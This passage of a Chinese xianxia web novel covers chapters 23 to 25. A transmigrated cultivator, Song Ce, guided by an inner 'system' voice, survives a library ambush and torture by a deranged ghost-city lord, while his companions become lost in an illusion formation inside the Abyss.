红唇微启,眼睫震颤,语气是不可察觉地惊叹:“好剑法。”
楚生挑眉看向苍月讶异惊艳的眼神,轻笑:“他在剑术上的造诣可谓是登峰造极,开人先河。”
他的目光遥远恍惚,眼神迷离似乎在回忆什么,嘴角勾起不常见的羡艳笑容。
楚生看向那堆砌如山的卷轴心法,常染讥讽的眉眼此时却微妙怅然。
“看来他叛变师门的这些年依然如此,不曾懈怠。”
朱半规对藏书阁中最为珍贵的剑术秘籍没什么兴趣,还有近六个时辰就得去往极渊,他得抓紧时间搜刮关于炼丹的卷文,若是有幸在极渊中捡回一条命,往后还能靠着这些东西炼丹大赚一笔。
这时朱半规仰头看向始终沉默寡言的段厄,扬声道:“哎,段厄,你发什么愣呢?”
“去找找炼器的卷文。”
“你那把破剑还修不修啦?”他从高架上跳下来到段厄身边,弯腰将脸蛋凑到段厄面前。
“搞什么呢你?还真指望找到压制极渊灵气的书啊。”
他凑的更近低声在段厄耳边:“找点自己用的上东西。”
“缺心眼儿呢你,怎么回事儿你今天?”
朱半规苦口婆心地劝阻却收到段厄一记白眼。
“嘿,你还不听,城主都把人撤走了,这宋策也不知道躲哪去了。”
“找到有什么用?你觉得我们还有命回来?”段厄斜睨了朱半规那张溢满邪笑的面皮撇了撇嘴角。
“哎,你这人!”
朱半规有些生气,但还是压着声音,目光来回打探扫视,防止宋策神出鬼没突然出现。
“我是被宋狗坑了,你自愿的能怪谁?”
段厄冷哼一声,不再搭理朱半规。
苍月靠近两人:“二位道友,城主方才传话,明日午时启程,时下回府稍作休整。”
朱半规听此嘴巴笑的合不拢嘴,他赶紧拉着段厄往外走,嘴里时刻念叨着:“对对对,我们这就走。”
他暗自窃喜,反正眷写了不少好东西,当下恨不得立马走。
楚生从苍月背后走出,瞧着朱半规匆匆离去的背影,目露嘲讽:“这狗东西怕是偷了不少好东西。”
“倒是不知有没有命用!”
苍月看着挥袖愤然离去的楚生若有所思,她望向漆黑深邃的藏书深处,眼含忧虑。
宋策曾说留在鬼城中的法阵很是玄妙,但所有藏书中却无半分解读。
从藏书阁中存有的书种类可见,段城主精通剑法和炼丹炼器,法阵遗卷却屈指可数,着实令人费解。
难道这法阵并非出自段城主之手?
至于极渊,苍月推断段城主或许多次深入极渊,留下来的书籍大多关于极渊中存活的生灵记录,却对如何克服极渊肆虐的灵气提的很少。
苍月看不出藏书阁所落阵法玄妙之处,干脆不在此费心。
偌大的空间中寂静无声,喻归泽屏息凝神倾听身边人舒缓的呼吸声,目不转睛地盯着紧闭眼眸的宋策。
法阵中掐着时刻运转的机关闪着微光发出震人心魄的闷响,喻归泽仔细地查看宋策的脸侧,每次看着他皱起的眉宇和下撇的嘴角,喻归泽总忍不住想抚平他的眉心。
按揉他受伤的左眼,这是他第一次触碰身边人的眼睑,和他无数次想象的那样,那条伤疤粗糙不平,狰狞可怖。
呼吸因越发缩近的距离而和缓交缠,温热湿润的气息萦绕在两人鼻息之间。
喻归泽察觉到胸口有些发热,不似发病的热潮不是突破境界燥热,是柔软温柔的暖意,似阳春三月的溪流推动水草般的意动。
“不让我碰,我还是碰到了。”他眉眼狡黠,忍不住勾唇轻笑,细细描摹着宋策的左眼,指尖传递来暖意却莫名令他难掩平静。
眉宇间缓缓起皱,眼睑轻颤,尘光寂动。
他忍不住想,苍月没办法照看自己,或许宋策就会将他带在身边。
“……”烛火摇曳,微尘荡漾。
喻归泽下意识地抬手遮挡闪过眼前的光亮。
“摸够了?”宋策起身扣住在自己脸上作乱的手。
他起身,语气平静,不似恼怒,喻归泽局促的手也不再扣弄掌中书页。
宋策垂眸,喻归泽察觉到他的视线,猛地将书藏在身后,抬头偷看宋策的表情,只看到他揶揄的眼神,喻归泽却觉得更加无措。
“慌什么?”
宋策绕至喻归泽身后,拿走他藏之不及的东西,摆在他眼前晃了晃,似乎在嘲笑他掩耳盗铃。
“我没看”,喻归泽抬起手向宋策示意手上还有束缚,“这书是我在你身边时看到的。”
喻归泽对上宋策那调侃的唇边笑意,暗自懊恼自己方才不该拿起来翻看。
“双休秘法而已”,宋策将书扔回喻归泽怀里,“只是内容较为直接。”
“宿主,你在教坏他,你这么说不是潜在鼓励他看风月书吗?”
系统觉得宿主的话很不对劲。
“部分修士相互结契同修,另有修士豢养炉鼎供自采补修炼。”宋策勾勾喻归泽衣袍之下的腰链顺带整理他散乱的衣袍,语调漫不经心,仿佛在说一件再寻常不过的事。
“可是书中只有图和故事,并未道明如何修炼。”
喻归泽说完后才意识到自己说了什么,他有些窘迫好在宋策没有戳穿他的谎话,只是那一直看着自己的眼中溢出几分意味不明的笑意。
“自己想。”宋策伸手拍拍喻归泽烧红的脸颊,果然掌下炙热。
喻归泽后退一步不知作何而言,他怔愣地看着宋策的动作,动作局促眉眼显露意外。
“身上热得很”,宋策就着热意指尖从他的眉骨滑落至唇边,“还很难受?”
喻归泽不知怎么道明自己的情况:“时缓时急,说不清”,他搓搓腕边衣角,低头闷声,“身体还可以,不需要灵力。”
宋策了然微笑,安慰的语气让喻
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归泽感到舒心。
“受不住了要和我说。”
宋策拉过喻归泽的手腕往外走,穿过排排林立高耸的书架,两人的身影显得微淼单薄,被投射下的黑影也相互依偎。
“腰疼的厉害吗?”
“好些了。”喻归泽抿着唇望着身前人的背影,身上的灼热和疼痛也因为宋策的靠近显得不再难耐,他微微收紧掌下两人牵手的力度,企图抓紧那一份微薄的清凉。
“宿主,他身体出了些问题,这个会不会影响到他以后修炼啊?”系统有些担心喻归泽的修炼进度,若是因为身体原因难以修复灵丹就功亏于溃了。
“他的身体需要天材地宝温养,能给他的都给他了。”
“至于以后怎么样难说。”
系统也觉得宿主尽力了,便不再多说什么,但他仍然忍不住担心。
“他总说自己腰疼。”
“资料里显示喻归泽是个会用武器的,一个耍弄兵器的修士腰疼还这么对敌?”
系统想了一下那个画面,对战时喻归泽腰闪了怎么办?
太憋屈了,系统难以接受。
察觉到掌下的力度,宋策微顿,似是想起什么,放慢脚步与身边人并行后微不可查地瞥了眼喻归泽的腰。
“他那个师父也确实够恶毒的。”系统想起那个给喻归泽下药的人,着实可恨。
“一个正在长身体的少年,居然狠心给他下药!”系统气的牙痒痒,害得现在任务进度难推进。
“养着吧。”
尘埃浮动,烛火穿越交错树立的书册,光线洒落,喻归泽的侧面被披上一层柔光。
法阵启动的空鸣声轰隆不息,宋策却能在这声响中分清身边人尾巴扫过地面的“沙沙”声,他见过喻归泽尾巴无力时行动的样子。
如今他立起的身姿越发显得修长轻盈,系统觉得喻归泽似乎长高了一些。
“宿主,我觉得他好像长高了一些哎,刚捡到他的时候他才刚到你的下颏,现在都长到你眼下了。”
“说不定再养养还能再长长。”系统有些兴奋,喻归泽身体的恢复有利于修复灵丹,自己的能量也能有所增长,一举两得。
“宿主,苍月追随你进入极渊秘境,那喻归泽——?”
微尘震动,随着光线流动,微不可查地轻捷窜动。
“砰!”
系统的话被一声巨响打断。
只见宋策骤然拽住喻归泽腰带拉至身后,方才身边的一侧书架被击倒发出炸裂声。
喻归泽随即警惕地躲在宋策背后,身后是堆叠接连倒地的书架,尘埃四起,光线泯灭,他垂头躲开喷涌的灰尘。
宋策拧眉挥开炸开的木屑:“禁声。”
系统恍恍惚惚的惊叫声被宋策打断,系统瞬间冷静。
“往哪跑?”沙哑的声音蓦然从两人身前传来,昏暗的空间这时显得逼仄窒息。
一道光线卒然划破黑暗朝两人劈来,宋策迅速掐诀挡起一面屏障,不过一息之间,好在宋策有所预料猛然转身揽着喻归泽倒在攻击之外。
他闻到一抹混着尘埃味的腥味。
喻归泽颤抖着气音不确定地问宋策。
宋策沉身按住身下人脖颈,喻归泽被宋策默然的动作安抚,恰时镇定。
宋策传音:“我拖住他,你先走!”
没给两人喘息的机会,那道黑影穿梭飞起的光尘跃进,距离出口还有些距离,宋策选择主动出击,既然实力不济那就利用藏书阁中局势。
显然黑影是察觉到宋策的意图,他的目标不是宋策,却被宋策一道困体肤定住,虽拖不了多久但却给两人一些时间。
宋策灵力虽不及眼前人,但也不是一无是处,他挥出数道符箓,那人追向喻归泽的身形微顿,朝宋策方向看了一眼,似乎在嘲讽宋策的不自量力。
黑影改变主意,转念想先解决宋策这个麻烦,朝宋策这边攻击。
宋策使出御风符箓,那人见此嘲弄道:“只会使些符?”
他一道避风符完全压制宋策符箓的威力,刹时木屑尘埃搅动,烟尘遮目,难以视物。
宋策沉眸勾唇,趁着看不清的间隙挥出一道火符,但微小的火花却发出不了应有的威力。
一瞬的火光将两人照亮,近距离让两人相视,宋策对上眼前人只露出的一双眼白多于眼瞳的吊梢眼,那双眼一瞬不错地盯着宋策,闪过嘲弄的神色。
“可笑,有什么用?”
“徒劳无功!”
黑影人不耐烦的掐诀挡开障碍,企图一招制服宋策,灰渣迸起,迷人眼帘。
宋策不以为意意,语气掺杂从容笑意:“是吗?”
黑衣人穿过烟尘,却恍然看不见宋策身影,他目光一凝,瞬时朝出口看去,喻归泽已经站在出口处,黑衣人顿觉中计朝着出口越近。
但下一秒宋策声音却在他身侧传来,他时下一紧,隔空攻去,却击倒一处书架,巨大的倒地声中隐约落下宋策漫不经心的话语。
“你想试试蛊虫的滋味吗?”
黑暗中晃动的黑影人身形倏然一顿,他拉好随身斗篷不欲恋战,朝着阵门飞去。
“宿主我们打不过他,趁隐身符还没失效快走!”
“阁下,你太心急了。”
宋策的声音从前方传来,黑影人迎着光使出一抹如刀般的灵力在法阵出口搅动,试图搅碎企图逃出生天的宋策,却只勾动木屑尘埃浮动。
获得宋策飘忽渐远的戏弄:“蠢货。”
24. 第二十三章
“连尽。”
阴暗的走廊,两人驻足而立,其中扶着肩膀的身影闻声停在原地。
连尽微弓身体艰难地回身看向站在走廊尽头的玉婪,不远处人影缓步走出晦暗处,他垂眸露出几分嘲弄。
“大人有何见教?”
“城主身体多有不适,劳烦连大人操劳。”
连尽藏在黑暗中的眸色微变,按着受伤的肩侧指尖愈紧,却还是挑着眉支起腰背笑:“不打紧,平日多有城主照拂,方才有今日的连尽。”
玉婪负手走近,两人擦肩并立,沉默地玉婪也侧身看向连尽:“城主大人最是怜爱你,宋——”
连尽放下手肘,侧身回视,眼中平静无澜:“不及玉婪大人万一。”
“宋策你说是吗?”
听见玉婪尾音,连尽看清走廊尽头不知何时出现的宋策缓步走来,连尽微眯起眼帘,回身轻瞥嘴角仍旧泛着意味不明笑意的玉婪。
“不在此打扰城主了,告辞。”
“宿主,这气氛有些不对劲啊”,系统看清暗廊中伫立的两人,“这城主事儿真多,叫了这么多人。”
连尽沉默不发,行至宋策身边,他瞳色微闪,兽类的直觉让他侧身看向宋策:“你受伤了?”
“嗯?他怎么知道的?”系统显然比当事人还要惊讶。
玉婪看过来,宋策捻起衣袖,答非所问:“城主怎么样了?”
没想到能得到回答的连尽表情滞愣,稍即缓神,竖瞳微展,墨绿色的眼在幽暗之中却不显渗人,他这表情倒是把系统整乐了,觉得他有些莫名其妙。
“神志不清”,连尽垂眸,“易怒。”
宋策侧眸扫过连尽渗血的肩膀,移步向前走去,他看向站在原地的玉婪,回答他最开始的那句话:“连大人受尽城主垂爱,玉大人也不遑多让。”
玉婪了然挑眉,连尽却回身看走远的宋策,语塞顿然:“我——”
“连大人,血火伤口不易恢复,城主曾赏我灵药。”宋策转身看向愣怔的连尽,廊边闪动的鬼火照在宋策身上,他目光平静,眸色阴沉,仿佛一丝光都照不进眼瞳。
“青面鬼会给你的。”
连尽颤抖着手按在肩膀,指缝渗血,他却完全不顾伤口收紧指节,唇瓣几次颤动,最后黯然垂眸:“多谢。”
“你的妖奴——”,他语气顿住,下意识改口,“他、我可以帮你照看。”
“哦豁,他这是怎么了?”系统有些惊讶,这个蛇妖今天很不对劲哎。
他不太认识这个连尽,苏醒后的系统只知道宋策和段厄、朱半规几人有来往,虽然大多是其他人主动拜访自家宿主,这个叫连尽的倒是没听过。
玉婪视线追随蹒跚离去的连尽,他那张苍白的脸在昏黄的烛火下连笑意也显得冰冷。
“宋大人伤好些了吗?”
宋策放下转动戒指的手,望向玉婪那泛着笑的血色唇:“你说旧伤还是新伤?”
“藏书阁中的贼人城主已经派人去查了,大人放心。”
他弯起眼,那张总是冷淡的脸这时显得有些温度了,但是系统还是觉得诡异的很,分明艳丽的一张脸怎么能露出这样不死不活的表情,像个假人。
段厄那张枯树皮似的脸皮都比这张看的顺眼,再不济青面鬼那张死灰脸也有些生气。
“劳你费心。”
系统知道这样的宋策,他表情从容,完全是在假模假样地客套。
面前人似乎也意识到宋策的假意,眼中有一瞬地异样,却在下一刻拦住欲离去的宋策。
“契约桎梏,这个可做缓解”,他转头看着沉默的宋策,语气这时陡然缓和不似往日漠然,“收着吧,非寻常丹药。”
宋策这才转脸看着他的眼,那只眼在阴暗中闪着荧绿色的光,玉婪彷如无意般笑起:“怎么?你会炼丹我不能会?”
系统突然觉得自己不太清醒了,“滋滋”电流响个不停,今天是怎么回事?这个玉婪和那个连尽怎么都这么不对劲。
宋策没回答系统的疑惑,接过他递来的瓷瓶:“破费。”
宋策擦身走过,黑风鬼的住所在暗廊深处,灯火尽头。
“极渊之行,望宋大人事无蹉跎,得偿所愿。”
宋策身形微顿却并未停步。
“宿主,他还一直看着你呢。”
宋策负手离去,身姿从容不迫不慌不乱,似乎前面等着是洪水猛兽他都能昂然处之。
犹如五年前,从未改变,宋策一直是宋策,不论是狼狈的还是凶狠的。
玉婪听见宋策的声音杳杳传来,还是那般漠然自若,略带促狭的戏语:“唇酯太红了些,非媚却俗。”
宋策调侃戏弄的话,让玉婪从来平静的脸皮有一瞬的崩裂。
“滋滋”电流声骤然停滞,若是系统有鼻子有眼,现在一定瞠目结舌,眼珠子都要掉出来。
“宿主,你在说什么啊?”
“你、你、你们这是咋了嘛?”
“不像个人样,看着不爽,不行?”
“啊?”系统不知道能说什么,总之觉得怪,有点怪,很怪。
玉婪那张精致犹如木偶一般的脸确实很怪异,艳丽却有些惊悚,像是画上去的一般,说不出来的怪。
想了半天,系统如蚊蝇一般呢喃出声:“宿主,你现在好像也不是人哎。”
“闭嘴。”
面前屏障阻挡住宋策的去路,里面就是黑风鬼的住处,只需轻微触碰,屏障犹如水波般荡漾开来。
下一秒宋策便感受到一股灼热的火气燎过丹田,烧的他眉渗细汗,他咬着牙最后还是忍着没做任何缓解。
黑风鬼刚愎自用常善猜忌他人,最爱看别人痛苦不已的样子,这时妖丹疼痛定是与黑风鬼有关联。
“宋策,还不进来?”
“城主。”
系统惊慌失措,膨胀的灵力就在一瞬间,墨色烟气张牙舞爪地向宋策涌来。
“嘭”得一声,宋策被发了狂的黑风鬼扼住脖子狠狠撞在墙上。
黑风鬼眼瞳猩红,面目狰狞,他拧着眉满口黑血似鬼似魔。
“宋策,你让我好等啊?”他缓缓低头靠近宋策,手掌力道收紧。
血腥气扑面而来,腹部的疼痛也并未缓解反而愈有加重的势头。
宋策闭眼忍而不发,咬着牙全身卸力完全将性命置之黑风鬼手中。
系统快被吓傻了,他结结巴巴不知道说什么。
反而是宋策平静地看着黑风鬼发疯。
黑风鬼凑到宋策颈边,挑衅地嗅着手中猎物
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,他眼中闪着嗜血的光芒,血水顺着他的唇沿滴落。
腥臭难闻。
宋策眸光深沉,指尖紧扣深陷掌心。
半刻钟,那血腥味才散去。
宋策颓然倒地,丹田的灼烧感却未褪去,他沉默着蜷缩身体忍受妖丹的灼痛。
黑风鬼仍觉不够尽兴一般,撩动黑气渗透宋策的身体,意兴阑珊地看着宋策大汗淋漓生不如死。
“宋策,你说你能活着回来吗?”
他自说自话似乎并不在乎宋策的答案,嘶哑含恨的声音在屋内回荡犹如厉鬼降临。
完全不由神智控制。
“玉婪跟了本座这么多年,我知他待你与旁人不同,费了几分心思将你带到本座身边。”
“本座从魔界带来的人,你竟能入他的眼。”他蓦然从座位起身俯身盯着宋策。
“说不稀奇却是假的。”
宋策面色如水平静,眸光闪动,静静看着黑风鬼沉浸在思绪的混沌中。
他阴晴不定,前语后言混乱无章。
“自作聪明的人往往死的凄惨。”
宋策艰难地坐起,与那双红丝密布的眼瞳对视,额间冷汗滑落眉间,气息凝窒。
“妖奴契约也算不得我逼迫你。”
“木秀于林风必摧之,你这么聪敏,这个道理应该懂。”
“否则我怎么安心将你放在身边。”
“呼呃……”宋策终于受不住了一般,闷哼出声。
黑风鬼显然对这样狼狈的宋策很满意。
“大人,即使不放心、也应当放心了。”宋策扶地站起。
“我的生死不过在你一念之间。”
黑风鬼哼哼冷笑:“怎么样?妖丹炼火的感觉如何?”
系统心疼宿主,暗骂:“宿主,他就是个疯子,神经病!”
黑风鬼最爱看妖奴苟延残喘,伏地躬身的样子,随意掌控他人生死的滋味让他血脉偾张。
早年黑风鬼在魔界重伤逃窜至鬼城,侥幸捡回一条命,却也旧伤郁结久难恢复,样貌发生翻天覆地的变化,丑不视人,性情愈发阴晴不定。
他想尽办法续命阶升境界,除了后退境界实力,空余一身躯壳残喘。
“城主常年受此折磨,小人也切身体会,这次定然能找到灵药为城主解忧疗伤。”
系统可算是看明白了自家宿主身边都是些什么人,疯子杀人犯,精神不正常的恶魔。
段厄人不人鬼不鬼总是觊觎宿主的天赋,朱半规坑蒙拐骗小人作态,连尽与黑风鬼不清不楚莫名其妙,就连那个玉婪似乎都在步步将宿主往火坑中推。
黑风鬼嫉恨忌惮宿主能力,根本不管他的死活,藏书阁中暗杀的人还有游街灯会的意外,桩桩件件都不了了之。
一群疯子。
宿主能在这些疯子中当个正常人真不容易。
如今的极渊出行,恐怕也是这个狗东西试探宿主的把式,鬼知道这个黑风鬼怎么回事,满身黑气不死不活的样子像个活死人。
系统心疼他家宿主,一边要应付这些疯子,一边还要急于推进任务进度。
想到这他就懊恼愧疚心虚,若是自己能量足够能把宿主放到任务目标遇难之前就好了。
宿主就不会遇到这些人了。
25. 第二十四章
这个位置比宋哥的住所灵气充裕,能感受到身体周围流动的灵气,按照宋哥给的心法秘诀每天勤加修炼,效果显著。
喻归泽起身看向窗外,耳清目明,窗外的细碎虫鸣鸟雀声,晨露凝结滚落的声音也清晰可闻。
宋策离开近两月,他也趁此期间完成筑基,不知是否是他的错觉,自筑基以来,他总觉得身体发生些变化,神志也愈发清明,但发病的次数也越发频繁。
清醒时的燥热痛苦也让他更加难以接受不忍回忆。
鬼城风云变幻,天外依旧朦胧灰暗。
喻归泽手中紧紧捏着宋策给他的玉佩,依然没有任何消息。
一月之前宋策一行人才行至极渊结界边缘,极渊封印阻断玉佩之间的联系,喻归泽每日都在等宋策消息,但是一日又一日,玉佩依旧暗淡无光。
“公子?”
“进来。”
青面鬼推门而入,躬身行礼之后将今天的书册堆叠在案桌上:“公子,这是今日的功课。”
宋策已经将离开后的事务都一一安排好,为喻归泽准备每日功课,事先算好日子让青面鬼送来。
在与宋策失联的日子里喻归泽安慰自己,宋哥许是自己安排好归城的日子,两月仍在他的计划之内。
青面鬼送完书准备离去。
“《一梦浮生》是你准备的?”
青面鬼转身的动作稍顿,缓缓抬起头来。
喻归泽冷漠的看着青面鬼转身后抬手借着行礼的动作遮住自己的眼瞳,但他还是看清了那双针尖大小的眼瞳。
时下是两人是这些日子里唯一的一次对视。
喻归泽身着一袭青绿长衫随性慵懒地坐在小塌上,手搁在曲起的膝盖上,还拿着那本《一梦浮生》的旧书。
青面鬼额间青筋轻挑,面色平静,恭敬回答:“当初大人让小人为公子准备用书,许是匆忙之间将这本闲书送到了公子手上。”
“公子若嫌碍事,小人这就带走。”
“不必了。”
喻归泽自筑基之后尾巴便可化腿,他撩袍走下小塌来到青面鬼身边。
阴影笼罩在青面鬼头顶,他暗自捏着衣袖。
“你可知书中文字是哪族文字?”
“这册话本原是段城主还在时遗落的,小人看着新奇便随手留下了,书中文字并不清楚。”
喻归泽眉间一动,他垂眸审视眼前这个处事滴水不漏的鬼修。
“你见过段城主?”
“是,小人自记事起便一直在此,也曾见过段城主统领鬼城。”他将腰弯的更低,喻归泽更看不清他的神情。
喻归泽眸光闪动,冷淡地遣退了青面鬼。
他看向着青面鬼的背影眼神意味不明,轻敲着手中书册,神志清明之后再看宋哥身边人,总觉得人人心怀鬼胎,处处诡谲难测。
他修为低,黑风鬼身边的修士他都难以看清其修为,就连刚才的青面鬼他也无法探测对方境界。
修道者是没办法探测高阶修士的阶级的。
以现在的修为他没办法帮助宋策,遑论保护他。
极渊之行不同去也是为了不拖累宋策。
提升修为是他目前唯一急迫的事情,但是他有很多不明白。
喻归泽拿起放在床头的测灵石,这是宋哥当初留下来的为他测试灵根的,初识之时宋哥就让他记住自己是一只蛇妖。
可是喻归泽觉得自己不是蛇妖,他不能像连尽那样化蛇。
但他也不是人族,人族没有像他那样的尾巴,他到底是什么?
为什么既有人族修炼的灵根,也有妖族的妖丹?
宋哥是妖修,但是教给自己的从来都是人族修道的心法,两人修炼方式根本不同。
喻归泽看着手中废弃的测灵石,他疑惑的伸出一抹灵气流向丹田,能感受到腹部微弱灵气的流动。
“妖丹?”
他试过用丹田处妖丹调转周身灵气,明显比灵根通畅迅捷,但是每次调转经脉灵气时,丹田妖丹似要裂开般疼痛。
“等他回来再和他说吧。”
折腾了半天,喻归泽都没搞清楚妖丹的问题,他仰着头看向悬梁,灵力调转之后身体又在发热了,近期发病的症状愈发频繁,他眯着眼扯着衣领,那条尾巴又不受控制地跑出来。
意识混乱的最后一刻他还在想《一梦浮生》的故事,荒唐地犹如一场大梦。
“宋哥……”
“宋哥……”
“宋策!”
“小心!”
“爆破符炸他!”楚生慌不择路地躲开黑蛇的攻击。
“都闪开,让我来!”
几人在沼泽地遇上了黑蛇和难以对付的毒虫,一路小心谨慎防止被毒害草划伤中招。
朱半规看着黑色巨蟒朝他扭着身子盘来,他吓得直哆嗦躲在段厄背后,嘴里还叨叨个不停:“造孽呦,我一个炼丹的让我上这来打打杀杀……”
“哎呦!”他忙地躲开黑蛇的血盆大口,那张扬的黑蛇被段厄一击斩断。
黑蛇血水喷射如柱,所流之处草木皆枯萎,恶臭腐腥,段厄掩鼻挥袖欲走。
“等等……”
朱半规拉着段厄的衣袖:“别急着走,这兽血还能炼丹画符呢,我们取些回头看看效用。”
“还看个屁!找死啊!”
段厄拖着朱半规的胳膊往林木深处走。
楚生向两人招手,示意此地不宜久留,眼见着远处密林深处渐涌起一层淡薄的白雾,方才的黑蛇就是从这些雾气中出现。
“这雾气有古怪,赶紧走!”
“你们先走,我垫后!”
方才还清晰可见的林子这时已经被层层薄雾笼罩,雾气犹如浪潮一般涌动。
极渊黑夜如期降临,朦胧模糊的暗色之中时不时传来稀碎沙沙声音。
虫鸣鸟叫在这诡异
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林中不显静谧美好到衬托地密林更加恐怖难测。
“这林子有鬼……”
柴火崩裂噼啪声炸响,火光颤动,一行人围坐在篝火边。
“我们在、这片林子转了多久了?三日还是五日?”朱半规摩搓着手中药丸,不知是身体冷还是神经紧绷,指尖微颤呼吸有些急促。
“时刻不对。”苍月往火堆里添了些树枝,将火烧的旺了些。
“我们不会死在这儿吧?”朱半规脸色愈发难看。
“这里灵气时而稀薄时而浓郁,浓雾不定时蔓延,不见天日,林子上方也看不见边。”楚生擦了擦指尖,神色冷峻。
“鬼打墙?”朱半规忍不住磕了手中的药丸。
楚生轻扫一眼哆嗦不停的朱半规,没好气地嘲弄:“鬼修在你旁边呢,要不你问问?”
一直沉默不语笼罩在袍子底下的修士瞥了一眼朱半规,往其他人旁边挪了一点,显然不想搭理他。
“两回事!”
朱半规恼羞成怒地把手里药一股脑塞进嘴里。
“你们听见什么声音没有?”
突然他神经紧张的抬头看向周围,唇齿哆哆嗦嗦地颤抖着咬着指尖。
“你又想说什么?”
楚生不耐烦地看了眼朱半规,发现他面色青灰,唇色发紫。
“你不会中毒了吧,丹药当饭吃?”楚生表情不掩嫌弃之意。
苍月凝眸侧耳听后继而看向宋策:“似乎是有什么声音?”
“好像是哭声,断断续续的。”
“风声?”
“不是风声!”
“声音大了!”
“有鬼,有鬼!”朱半规跳了起来,他拉着段厄的胳膊,神色慌张。
“声音从四面八方来了,我们被包围了!”意识到不对劲的楚生站起来,手按在腰间放着符箓的乾坤袋上。
“先别动。”宋策凝气掐诀挥灭篝火。
视线受限,耳边传来的细碎泣音愈发清晰,风声混着哭泣声,所有人都难以分清林中黑暗处究竟藏着什么东西。
宋策使出一道避风符,扰乱听觉的风被隔绝在数十米开外,这时呻吟声哭泣声愈发分明。
有什么东西正在向他们靠近,宋策冷静传音给其他人:“先别动,雾起来了。”
“嘻嘻好香的血肉……”
“好多人啊……”
“好久没来这么多人了嘻嘻嘻……”
“呜呜呜呜……嘻嘻嘻嘻……”
“造孽啊,真有鬼啊……”朱半规无力的气音突兀的响在其他人的识海中。
尖细、粗狂、呜咽、哭泣、恼怒……数不清的声音从四周混杂涌来,扰的人耳鸣目眩。
朱半规忍不住又嗑了几粒药丸,忍受身体不住的抖动,冷气随着雾气蔓延全身。
宋策借着夜视能力扫过围在一起的人,兽类荧绿色的眼瞳在暗夜中泛着审视的光亮。
26. 第二十五章
“不知道好不好吃呢?”
“好香的气味啊嘻嘻嘻……”
奸细混杂的声音从远处飘忽而来,围绕在他们周围又仿佛是在耳边萦绕。
“这些东西跟着雾气出来的。”
“这雾无处不在,马上就要涌上来了。”
苍月朝着宋策的方向看去,惊疑不定:“他们是被火光引来的?”
楚生回答:“是活的人气,火只是扩散了活人的气息。”
“现在怎么办?怎么还在废话?快想想办法啊!”
“它们说要吃我们!”
楚生冷笑:“你人是死的吗?怂货!”
他嫌弃地搡开朱半规:“别挡在这儿碍手碍脚!”
“你!”
朱半规懒得和他争辩,他着急地向其他人传音叫喊。
“宋策,快想想办法!”
避风符效用维持不了多长时间,风声又起,林海汹涌喧嚣。
“宋策?”
“……”
“嗯?宋策?”
“段厄?苍月?”
“喂!人呢?楚生?”
“哎?人呢?”系统不敢置信,一眨眼功夫人怎么都不见了,“他们去哪了?”
风声停了,四周灰蒙蒙一片,完全被浓雾吞噬,宋策环顾四周,毫无声响,就连方才的鬼哭狼嚎声也一丝听不见。
他转动指根戒指,所见范围不足五米,环境寂静异常。
方寸之地,如若他不走动仿佛被围困在一个笼子里。
“宿主,这是怎么回事?”
“现在怎么办?”
系统有些焦急,出师未捷啊这是,被困在这里好几天了。
宿主他倒是气定神闲,不急不慌,这些天带着人跟游玩似的在林子里转来转去,没有要想办法出去的意思。
原本想着宿主和一行修为较高的还能保护好自己,这下好了,人都散了。
“林子是个法阵,我们被困在法阵中了,设阵人修为不明,最坏的猜想他修为比我们当中任何一个人都要高。”
“硬碰硬是最蠢的办法。”
“不过……”宋策语意未尽,燃起灵火随意择一方位向前走了几米。
系统疑惑追问:“不过什么?”
宋策未答他的话,他蹲下捻起地上的泥土。
他目色了然,嘴角轻笑:“看来阵法变化后将我们这些人传送到不同的地方了。”
“应该还在阵内。”
“宿主,现在你能联系的上他们吗?不是有通讯办法吗?”
“你都能想到的事,你觉得法阵主人想不到?”
系统语塞。
宋策拿出一枚玉佩,指尖细致摩挲,注入灵气后却也毫无反应,和普通玉佩没什么区别。
他轻叹气将玉佩挂在腰间。
“宿主,你都和喻归泽失联很久了,这鸟不拉屎的地方和外界一点也联系不上”,系统在宋策脑海中小声抱怨,“也不知道喻归泽和那个连尽怎么样了。”
系统可还记得两个人打过架呢。
“现在喻归泽要是被揍了你可护不住他。”系统暗自偷看宋策听到这话的表情,似乎没有什么反应。
他接着说:“宿主,你这一走走了好些天了,一时半会也联系不上人,再不想办法出去可怎么办啊?”
系统声音比方才鬼泣声还要刺耳难听,宋策皱了皱眉,语气不耐。
“话怎么这么多?”
细微轻响如风般打破寂静空气,雾气似乎散开一道缝隙转瞬缭绕闭合。
宋策眉间微折,他向前疾步走去,身影隐没在白茫之中。
“宿主,怎、怎么了?”
周围安静的只有宋策平缓的呼吸声,系统紧张地不行,生怕迷雾之中钻出来一只怪物。
“有打斗声?”
宋策止步停留,眼珠流转之间,银光破空而来,雾气如绢布被撕开,一道剑气直面避来。
“找死!”
宋策转身躲过,利剑灵气断开鬓边一缕发丝,剑风扫过血痕缓出。
“段厄?”
“畜生,还敢骗我!”他目光凶狠似乎要置宋策于死地,剑光划过劈开浓雾,从几步之外朝宋策喉间刺来。
“呃——”宋策侧身躲开,左肩一侧布料被划破,他拧眉使出定身符,“你有病?”
一道爆破符箓随着段厄剑身擦过附在他手上,只听“砰”的一声,段厄一声闷哼,长剑被崩落在地,宋策向他看去。
“狗东西!”
宋策踹开朝自己扑过来的段厄:“眼瞎心也瞎!”
“不是说要我帮你炼剑?”
段厄布满褶皱的脸皮一瞬的紧绷,他转身来看向脸侧流血的宋策:“宋策?”
“不是我还能是谁?”
宋策居高临下地盯着段厄的眼,莹绿色的冷光从他那棕灰色的眼瞳中闪过。
段厄闭眼伸手猛地擦过脸皮,□□,他支起腿抬眼看向宋策,浑浊的眼瞳僵硬地转动。
宋策看出他的窘迫便没再看他,转身向雾色中走去。
“在雾中遇见和我长得一样的人了?”宋策轻笑,指节摩挲着那枚玉佩。
段厄提着剑,眼光扫过宋策手上玉佩:“我们散开之后,我以为法阵只将我们两个传送到一起了。”
宋策瞥过他手上拿着的剑,调侃道:“这把剑不适合你,怎么不在剑库里挑一把顺手的?”
“你不也是?灵气难以支撑你用的符箓。”
他随意挽了个剑花将长剑收进剑鞘,眉眼嘲讽,语气清淡:“我们不过半斤八两罢了。”
“走吧,我们找找出口。”
他们结伴走了一刻钟,雾色渐淡,还是在那片林中,一片墨绿色染着水色犹如一副泼墨画,蒙蒙细雨顺着冷意笼罩。
宋策脚步微顿,雨气打湿他的长发和衣襟,他眉间轻折,有些烦躁,高束起的头发被微风吹起黏在脸颊,轻微的刺痛感从脸颊侧传来。
系统没注意到宋策的异样:“宿主,你看这还挺美的。”
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>“雾蒙蒙,雨霖霖的……”
